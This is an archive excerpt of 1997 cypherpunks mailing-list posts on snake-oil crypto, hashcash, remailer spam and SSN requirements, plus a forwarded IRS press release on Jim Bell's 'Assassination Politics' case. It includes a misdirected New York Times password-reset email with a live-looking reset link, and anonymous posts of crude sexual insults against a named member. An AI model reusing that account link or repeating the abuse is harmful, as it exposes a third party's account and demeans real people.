    them) or directly from http://www.primenet.com/~attila  --the key
    is also appended outside the signature block.

on or about 971216:0220, in <199712160820.CAA19094@manifold.algebra.com>, 
    ichudov@algebra.com (Igor Chudov @ home) was purported to have 
    expostulated to perpetuate an opinion:

>I would like to kindly ask you to sign this md5 sum with your PGP
>keys, and return it to me signed. I would also appreciate a copy
>of your PGP key.

>Thank you very much.


>``I testify that I did see this MD5 checksum around Dec 16, 1997.


>	f3bffc327bf88846bc1d790c56da0ffb  caleidoscope.fixed.txt. ''

>Signed,

>	-Attila T. Hun

Type Bits/KeyID    Date       User ID
pub   512/93EAEEB5 1997/10/18 signature key <attila@hun.org>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJbtp7R8UA6T6u61AQGzOAH9ESBe73wQmZe29W1h8LybpR/w4wEmwQeT
Wtf+mN8UDaF5RNBzKmKRCpAn50zboswGtL2J/B3wIBGqxOLdTYE6LQ==
=FUEn
-----END PGP SIGNATURE-----

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: No safety this side of the grave. Never was; never will be

mQBNAzRI/8kAAAECALbDpNpjSdwDXsEWvzgdNmE8HOtvk/SRc25vqXxsEjA4s3AQ
UhIPHPzHka/bwBOik9CmWG0S0zfttHxQDpPq7rUABRG0HnNpZ25hdHVyZSBrZXkg
PGF0dGlsYUBodW4ub3JnPokAVQMFEDRI/8m0fFAOk+rutQEBbvIB/ia86uFQNv/+
/sQl9mZ+kQjVPnDZQiK2+EMaAOltk/5pW3/fgdLsv20Zo1LtbI+fjkN47qaS357X
0mtpr4rxde8=
=CRJ2
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 17 Dec 1997 08:49:12 +0800
To: cypherpunks@toad.com
Subject: A gauntlet thrown down by PC-Magic?
Message-ID: <byhfpyZZ1Il5Fo5U8w+tMQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 16 Dec 1997 at 00:02:27 -0800, "Alex Woolfson" 
<abdiel@worldnet.att.net> wrote:

> Hey guys
> 
> Just FYI here is the response I got from PC-Magic.

>> Thanks for the feedback.  We are considering an established 
>> standard.
>> 
>> BTW, for all the "crap" we get from supposed crypto experts 
>> no one has come close to breaking our method.  It does make 
>> for humorous reading tho.
>> 
>> Scott

> Anyone care to take him up on his challenge?  
> Please say yes.  :-)
> 
> Alex

What fucking challenge? Is he or are you so dimwitted as to
think that people have nothing better to do than provide
Scott and his cretinous friends with a first-hand education?
A "challenge" would be something like: 

    "PC-Magic has encrypted a [file/message/whatever] 
    containing ecash in the amount of $50,000, has 
    deposited with [an arm's-length third party] the 
    original text, the encrypted [file/message/whatever], 
    the software that decrypts it and the [password or 
    passphrase], and hereby agrees to leave the ecash
    prize current and unrepudiated until [deadline date],
    after which we will re-deposit the ecash and instruct
    the [third party] to reveal the message and demonstrate
    its decryption as a proof that the challenge was 
    genuine."

The prize amount would have to be relatively high since these 
people have not published technical information and no one has 
any real interest in investing time and money to demonstrate 
that people who appear to be idiots are, in fact, idiots. The 
$10K and lower challenges that have been issued in the past 
have mostly come from known entities with published algorithms.

Scott's characterization, "the 'crap' we get from supposed 
crypto experts." is indicative that he really didn't read and 
understand much of the criticism. It is typical of the 
ignorant who have embarked on a flawed course to become 
annoyed at well-founded criticism and to belittle their 
critics.

"...no one has come close to breaking our method" is indicative 
only of the lack of motivation on the part of qualified 
cryptanalysts, most of whom have much better things to do. It 
is the responsibility of the advocate of a cryptographic 
technique to raise the level of interest in testing it 
sufficiently high that it will in fact be thoroughly tested. 

To claim that a technique has never been compromised is to 
claim nothing at all. I have a message I encrypted when I was 
16 that no one has yet cracked. I could challenge PC-Magic 
to crack it. If they were sufficiently introspective to be 
able to examine their reasons for ignoring my "challenge" 
they would understand why theirs is not a challenge. OTOH if 
they had that many brain cells to rub together they would 
already have understood the logic of the criticisms they so 
glibly dismiss.

Perhaps a more satisfying exercise would be if PC-Magic were 
to encrypt a ton of the worst child pornography, hate 
literature and conspiratorial assassination plans imaginable, 
then present themselves and the computer containing the 
encrypted goodies to the office of the Bavarian prosecutor.

CryptoMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: forgot@nytimes.com
Date: Wed, 17 Dec 1997 12:10:25 +0800
To: cypherpunks@toad.com
Subject: NYT Account Request
Message-ID: <199712170353.WAA12181@content8a.nytimes.com>
MIME-Version: 1.0
Content-Type: text/plain



You have requested your ID and password for The New York Times on the Web.
Please follow the instructions below.

1.  Please make a note of your subscriber ID:

nifft

2.  Next, to get the password for this account, using your Web browser go
to this unique URL:

http://www1.nytimes.com/forgot/snp.cgi?ul=nifft~475280

This page will allow you to choose a new password.  Make sure you have
copied the address EXACTLY as it appears here.  (If you're getting an
"Error" page, the address was probably entered incorrectly.  See "Help With
Copying and Pasting" at the bottom of this e-mail.)

3.  Follow the instructions on the screen to choose a new password.  After
you have entered a password you will automatically enter our Web site.


The New York Times on the Web
Customer Service
forgot@nytimes.com

********************

Help With Copying and Pasting

1.  Using the mouse, highlight the entire Web address, (e.g.
http://www1.nytimes.com/forgot/snp.cgi?ul=nifft~475280) 
shown above in step 2.  It's essential
to highlight the entire address, even if it extends over two lines.
2.  Under the Edit menu at the top of your screen, select "Copy".
3.  Go into your Web browser (open it if it's not already opened).
4.  Click in the "Netsite" or "Address" bar -- the place in your Web
browser where it says what Web address you're currently looking at -- and
delete the address that's currently there.
5.  In the blank "Netsite" or "Address" bar, paste the address by selecting
the "Edit" menu at the top of your screen and choosing "Paste".
6.  Press Enter.
7.  Follow the instructions to choose a new password.

********************

If you did not request your ID and password for your NYT Web registration,
someone has mistakenly entered your e-mail address when requesting their
password. Please simply ignore this message, or, if you wish, you may go to
the address above to select a new password for your account.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 17 Dec 1997 12:26:15 +0800
To: cypherpunks@toad.com
Subject: Re: UK spooks invent RSA, DH in 1973
Message-ID: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann wrote:

>There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
>claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.

We've converted the Ellis Postscript doc to HTML:

     http://jya.com/ellisdoc.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 17 Dec 1997 12:28:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Joys of Being Canadian
In-Reply-To: <3.0.3.32.19971215225418.0069f33c@pop.mhv.net>
Message-ID: <3.0.3.32.19971216231706.03a84188@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



I guy I know recently arrived here from Australia.  He works for a company
that maintains a database of all people throughout the world who have
telephones.  They have live connections to almost all phone companies and
provide lookups for most major government agencies.  The service is housed
here in Atlanta.  The same company also provides x.500 systems.

As he does not have a social security number, and certainly does not care
to get fingerprinted for a driver's license, he has found that he cannot
cash a check or do simple things that require a social security number.  A
side issue that relates to his visa is that he also is not allowed to leave
the country and go visit Australia for a certain period of time.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Wed, 17 Dec 1997 12:35:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Joys of Being Canadian
In-Reply-To: <v04002e0ab0bb69fb26c1@[141.142.103.240]>
Message-ID: <19971216232911.50392@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On mar 16 déc  1997 à 07:13:44PM -0700, Tim May wrote:
> As to Duncan's frequent "I'm a Canadian" point, the foreigners I've known
> over the years have had to a) get an SS number, even if working for short
> periods, or b) have had to produce their foreign-country passport.

Or both of them, actually (NJ...)

> (If it _really_ works, I'll tell a friend of mine from Denmark that she can
> just tell all the SS number requesters that she's from Denmark.)

On a previous (shorter) stay in the US, I didn't have a SSN. Yet I got a
DL (with my passport) (this was Missouri). And after a few long
discussions on the phone on why I didn't have a SSN, I gave up the
explanations and started giving my french SSN (after all, it was a valid
answer to the question "what is your social security number"), actually
a substring. Interestly enough, SSNs in France are not supposed to be
used for identification or taxes purposes, just for medical purposes
IIRC. A recent project by the government to link medical databases and
tax database opened a controversial discussion...

                         F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Dec 1997 06:48:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712162232.XAA03890@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




The main french PGP HomePage is now here :
http://www.geocities.com/SiliconValley/Bay/9648

The page is called "PGP POUR LES FRANCAIS" ("PGP for the french people") and is wholly in french language.
You can find here a lot of informations about PGP 2.x and 5.x and a detailed PGP history.

A bientot :)

-----------------------------------------------
PGP pour les français
http://www.geocities.com/SiliconValley/Bay/9648
       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 17 Dec 1997 13:06:18 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <78bf400a35af6e25e1d3f0a89c58280f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Hotmail, Juno, Aol...  

> 
> How about using the email address as the hostage info?  The goods are sent to
> the email address, so the sender knows that the email address is good.  On
> breach of contract, the sender has the option of selling the email address of
> the reciever to a bunch of known spammers.
> 
> More rambling...  ;)
> 
> --
> Steve
> 
> P.S. If this particular contribution to your idea goes anywhere, I want credit.  :)
> 


-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Wed, 17 Dec 1997 16:20:02 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The naming of the Presidential Pooch
In-Reply-To: <v03007824b0bc85606a38@[168.161.105.216]>
Message-ID: <3.0.3.32.19971217000335.007664a8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:23 PM 12/16/1997 -0500, Declan McCullagh wrote:
>	Q     Mr. President, where does he sleep?  Where does the puppy sleep?
>	PRESIDENT CLINTON:  Upstairs.
>	Q     Upstairs?  Does he have his own little doggy bed?
>	PRESIDENT CLINTON:  He has a little house in the kitchen.  He's
>sleeping in the kitchen right now.
>	Q     Does he sleep in a little dog house?
>	PRESIDENT CLINTON:  Yeah, he sleeps in a little dog house.  And we
>got another -
....
>	PRESIDENT CLINTON:  Socks was a little scared of him, I think. And
>yesterday - you could have had a great picture yesterday.  She jumped way
>up - he jumped way up on my shoulder.  Socks climbed right up and got up on
>my shoulders so that they would have an appropriate distance.  But we're
>giving them items that the two of them have, you know, to try to get used
>to the scent.  And I'll get it worked out.
>	Q     What's his name?
>	Q     He likes grass.

But - does he inhale?  :-)
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 17 Dec 1997 13:42:37 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: <v03007800b0bc0c9a7689@[198.115.179.81]>
Message-ID: <v03007802b0bcaf4660a9@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	Adam Shostack <adam@homeport.org> wrote:

>	Having worked for those multinationals and defense
>contractors, I've seen them buy new products with serious weaknesses
>in key generation, with year 2000 problems, with stream ciphers used
>to protect stored data--keyed the same way each time.  I've seen them
>use code that sent cleartext where it should have been encrypting on
>the wire.
>
>	I could retire a rich man if I never wanted to come back to
>the US.
>
>	Do due dilligence yourself.  Read the snake oil faq.  Insist
>on speaking to someone at the vendor with two brain cells to rub
>together.  If they claim Acme bought it so you should, too, insist on
>speaking to the security folks at Acme who did the eval.  Its your
>money.  Its their security product.  Feel free to evaluate it right.
>If the vendor won't cooperate, go elsewhere.

	Now how could anyone disagree with that;-)

	The problem is: how does someone like my online correspondent from
Jakarta, a self-described innocent in cryptography, deal with his need to
purchase a commercial crypto product now.  I was suggesting helpful
guidelines for a guy with a decision to make, not an optimal solution for a
crypto-savvy buyer in a consumers' paradise.

	If he can get the odds in his favor as far as the basic security of
the products he is choosing among, what he (most managers) will look for is
ease of use, even transparency.

	Come the Revolution, we'll make them all show their stuff, publish
the source code, and dance in the streets.

	Then, of course, we'll have to force other guys to study it and
report to us.

	Once we develop some system of retribution for those who review in
ignorance or exhibit bias, I'm certain we'll have the problem licked.... ;-)

>	The product I'm building uses 'brand name' cryptography--
>libraries and tools from well known sources.  It takes a bit of speed
>away (I'd have prefered to use X9.17 over SSL for our bits on the
>wire, but I couldn't find a peer reviewed X9.17 library out there.)


>Vin McLellan wrote:
>
>|    The lack of published source code is an issue, but if you see such a
>| product being purchased by multinationals or US defense contractors you
>| can be certain the implementation -- which is the real arena of
>| vulnerability, once the algorithm is chosen -- has been carefully studied
>| by informed cryptographers. (For non-American product, look for similar
>| purchases by government-connected agencies in the vendor's nation.)
>
>
>
>--
>"It is seldom that liberty of any kind is lost all at once."
>					               -Hume


      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 17 Dec 1997 20:14:17 +0800
To: Remailer Operators <cypherpunks@Algebra.COM>
Subject: m2n@alpha.jpunix.com is down
Message-ID: <Pine.BSF.3.96.971217055444.10637C-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

	Now that I've posted that operating a mail2news gateway is a
minimal effort, the m2n at jpunix.com has been under a steady spam attack
for the past 72 hours. I fought it all day yesterday and came in this
morning to find that the spammer had just moved to a different ISP and
started spamming again. I have no choice but to shut down the m2n for now
in order to stop the spam. If anyone is interested the body of the spam
looks like this:

Subject: Publicity agents are fun!

Hoping you'll have a superly-NICE
nite, a FUN day tomorrow, and the
most excellent TIMES forever more.

- --------------------------------------

This message was brought to you by
MarketCom's MktAgent, the interNet's
premier webwalking publicity engine.

Locate over 100,000 Email penpals in
only 5 days with our FREE demo model.

http://www.MarketCom.com/MktAgent/

	Of course everyone on USEnet is blaming jpunix.com for the SPAM
but I knew that would happen when I first started the m2n. Anyway here's
hoping that the spammer will get tired and move on and then I'll be able
to start it back up.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNJfAr1OTpEThrthvAQEdXQP/Sc7IVlvi1GbuVMZ+Nv3rWPluxybxZpuJ
oSSNI0LObO20dBhI3IZIiWof5I3jpwoIuT8Ha/6IOLO7Rxmat9xj1h3E4j/Mrb6b
diTaRiifPG1MiMeuNIYkPSefwqInlQrKSIQ28SEn3/Mc8WclWXEU3+8MQ/gsNc/c
E3QZ71TegtM=
=LH3k
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 17 Dec 1997 15:08:36 +0800
To: rantproc <cypherpunks@cyberpass.net
Subject: Challenge to Toto [was: It's Sunday]
In-Reply-To: <348AC569.5793@dev.null>
Message-ID: <19971216.042940.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971207:0948, in <348AC569.5793@dev.null>, 
    TruthMonger <tm@dev.null> was purported to have 
    expostulated to perpetuate an opinion:

 [snip the beer, etc.]

>  After spending what might be considered an inordinate amount of
> time seeking an ISP which will allow me to put a picture on my web  site of
> Bill Gates blowing me and fucking a Jew while I am naked, I consider myself
> somewhat of an unofficial expert on freedom of speech.
>
>  To badly paraphrase Harry Browne, "You have a right to say 
> whatever your mom and dad don't slap you silly (and send you to
> bed without your supper) for saying."
>
    well, let's call for cards on the table. I have Toto's
    Fantasy Island dream world all set to go. all it needs is
    this picture to substitute for the hardcore I found by
    trying Alta Vista's family search with 'fuckin porn'
    --everything nicely bound in scrapbook form, etc.

        http://www.primenet.com/~attila

    access toto's Fantasy Island "dream come true" via the
    yellow circle with 'toto' in the left sidebar next to
    another surprise with an automatic window and jump. touch
    old cigar face robber baron and you'll find some of my Gate$
    rants; other rants off the topbar.

    if nothing else, enjoy the feelthie pictures and wait for
    toto to answer the challenge so I can replace the pictures
    in the stock dream with the real thing.  the old goose is
    waiting to fly you out to the unctious pair.

    well, how about it, toto? --cough the pics up!
    we're all anxious to see your conquest.

    fight censorship, feelthie pictures and all.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJYIJ7R8UA6T6u61AQGW8QH/Uz75E3vt+fG0VHgaM6HFZ+vYmFQ8akK2
k8HuDp6cofajZVf7Phnx+PJg+3rLiIM/eCESZdo6zr+Dqy9VYVscEA==
=Fexi
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Dec 1997 23:22:21 +0800
To: cypherpunks@toad.com
Subject: Browsing Under the Influence, from the Netly News
Message-ID: <Pine.GSO.3.95.971217071108.7460C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1638,00.html

The Netly News Network (http://netlynews.com/)
December 16, 1997

Browsing Under the Influence            
by Tom Deerfield and Mark Dolley
                                             
        When Andre Khalifi and Chuck Haddad applied to open the
   CyberLounge in Fountain Valley, Ca., serving gourmet food with a cigar
   menu, Internet access and a full bar, they expected the community to
   enthusiastically embrace the proposal. Instead, their alcohol and
   Internet cocktail met with fierce opposition from local residents who
   saw the business as a potential threat to their safety.

       "How are we going to protect our women after these guys get
   liquored up, look at pornography and then roam the neighborhood late
   at night?" asked one resident at a public hearing.

        The Fountain Valley Police Department was worried too. Detective
   Sergeant Paul McGinnis -- a participant in the planning process -- was
   skeptical about "uncontrolled Internet access" from the get-go,
   according to Khalifi. McGinnis confirmed his concerns over the
   pornography question: "I've never actually been on the Internet, but
   my understanding is that you can get just about anything you want on
   there."

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Dec 1997 23:51:30 +0800
To: cypherpunks@cyberpass.net
Subject: Clinton signs draconian antipiracy law, from the Netly News
Message-ID: <Pine.GSO.3.95.971217073940.7460P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




************

http://cgi.pathfinder.com/netly/opinion/0,1042,1641,00.html

The Netly News Network (http://netlynews.com/)
December 17, 1997

Penance for Pirates
by Declan McCullagh (declan@well.com)

        When it comes to protecting his company's computer software,
   nobody compares with Bill Gates. Not only is the nation's richest man
   thumbing his nose at government antitrust lawyers, but he's also
   toasting his latest victory: a draconian antipiracy bill that
   President Clinton signed yesterday.

        Piloted through Congress by the deep pockets of the software,
   motion picture and recording industries, the law punishes unapproved
   "reproduction or distribution" of books, magazines, software, music or
   videos. The painful penalties must bring a smile to the face of
   software executives: fines of up to $250,000 and five years in federal
   prison.

        While you're cooling your heels in Club Fed, you'll have plenty
   of time to consider your misdeeds -- which in this case could have
   been making just three copies of Microsoft Office (cost: $360 each).
   If it's any consolation, you'll have plenty of company. Joining you
   will be anyone who "willfully" infringes copyrights worth at least
   $1,000 within a six-month period, with stiffer penalties if the total
   jumps to $2,500.

        Ouch. The cost of prosecuting millions of malfeasants has led
   critics to wonder, sensibly enough, if the FBI's time could be better
   spent chasing violent criminals. After all, software companies can
   (and do) sue copyright infringers already. "This is a dreadful piece
   of legislation," says David Post, a law professor at Temple University
   who teaches copyright law. "Congress is doing exactly what they
   shouldn't be doing: reacting in a panic and saying there's so much
   copyright infringement we need to throw people in jail."

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mike Gurski" <gurski@solipsys.com>
Date: Wed, 17 Dec 1997 21:33:36 +0800
To: "coderpunks@toad.com>
Subject: Dr. Dobbs Crypto CD
Message-ID: <199712171325.IAA08971@bastion.solipsys.com>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone received their DDJ crypto CD that's been advertised for the
past half year?


--
Michael Gurski                            mailto:gurski@solipsys.com
Solipsys Corporation                         http://www.solipsys.com
6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
Laurel, MD  20707-2929                             fax:(301)483-8901






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 17 Dec 1997 16:06:07 +0800
To: abuse@atmnet.net
Subject: "where would you find"
Message-ID: <199712170745.IAA10932@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>The latest virtual  XXX entertainment  that is as good...well ALMOST as good as the REAL THING?
>
>
>HERE
>
>
>http://www.succuba.com
>
>WARNING:
>
>1.  YOU MUST BE OVER 18 YEARS OF AGE
>
>2.  YOU MUST HAVE A STRONG HEART ;)
>
>3.  IT'S HOTTTTTTTT ;}

Yes, friends, it's the demon site, straight from hell. It's that evil spirit
which has sexual intercourse with men in their sleep. It even steals
resources from thousands of others in the community! You too can pay for
pictures of nude demons to look at while you're asleep!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Wed, 17 Dec 1997 18:02:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
Message-ID: <349b9ea2.5036920@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:

>.....
>> The implementation of the plan is a more or less impossible scheme. 
>
>Nyet. It can be phased in over time...people install the software, mailing
>lists warn their users to exempt them, and the big servers start asking for the
>hashcash, little servers pick it up. 
>
>.....

Yes, but if you just phase it in over time, what benefit, if any, will
users see until hashcash is fully deployed.  Until that time, people will
still have to accept email without hashcash or risk losing important
messages.  

We need to find some way for users to benefit from hashcash now, not 2
years from now when 90% of sites are using it.  The only thing I can think
of is having servers place "Hashcash-verified" headers on incoming mail so
that users can do positive filtering ("this is valid email") rather than
negative filtering ("this is spam").

I don't see people adopting hashcash unless there is some intermediate
benefit to doing so.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 17 Dec 1997 23:19:58 +0800
To: Mike Gurski <gurski@solipsys.com>
Subject: Re: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <Pine.SUN.3.96.971217100336.22334F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Dec 1997, Mike Gurski wrote:

> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?

Not me.  I ordered both the crypto CD and the latest Dr. Dobbs on CD (back
issues and such) at the same time.  I got the Dr Dobbs Mag CD about two
months ago, but no crypto CD. :(


You might wanto check Remo Pini's Crypto CD.  It doesn't have the books
online, but plenty of cyphers and stuff. (rpini.com ??)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Wed, 17 Dec 1997 23:22:07 +0800
To: Mike Gurski <gurski@solipsys.com>
Subject: Re: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3497EBB8.5CD7@erols.com>
MIME-Version: 1.0
Content-Type: text/plain



I just got off the phone with DDJ - according to the sales person "the
editors are preparing a letter to explain the delay". 

Seems kind of strange that it is taking so long.  Of note - The sales
person indicated that there has been no mention of pulling the product.

Regards,
John Horton



Mike Gurski wrote:
> 
> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?
> 
> --
> Michael Gurski                            mailto:gurski@solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Dec 1997 18:58:54 +0800
To: cypherpunks@toad.com
Subject: OTP
Message-ID: <199712171047.LAA28637@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble 
responses clearly identify him as a product of the American education system.

          0
        //\/ Tim C[ocksucker] May
       \/\
     ... /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 19 Dec 1997 04:32:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS intimidation of Cypherpunks
In-Reply-To: <a3VcpW2klLwAYskYVqKWcw==@bureau42.ml.org>
Message-ID: <Pine.LNX.3.91.971215133539.12530B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> any details on the list. Aside from Jim Choate questioning
> my arithmetic or attention span, would anyone be kind enough
> to provide pointers to information about incidents of c-p
> list members having received unsolicited email from .gov?

Sigh, answering a question about a possible forgery asked by 
TruthMonger?, I must be losing it.


>From irsnwpr@net.insp.irs.gov
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
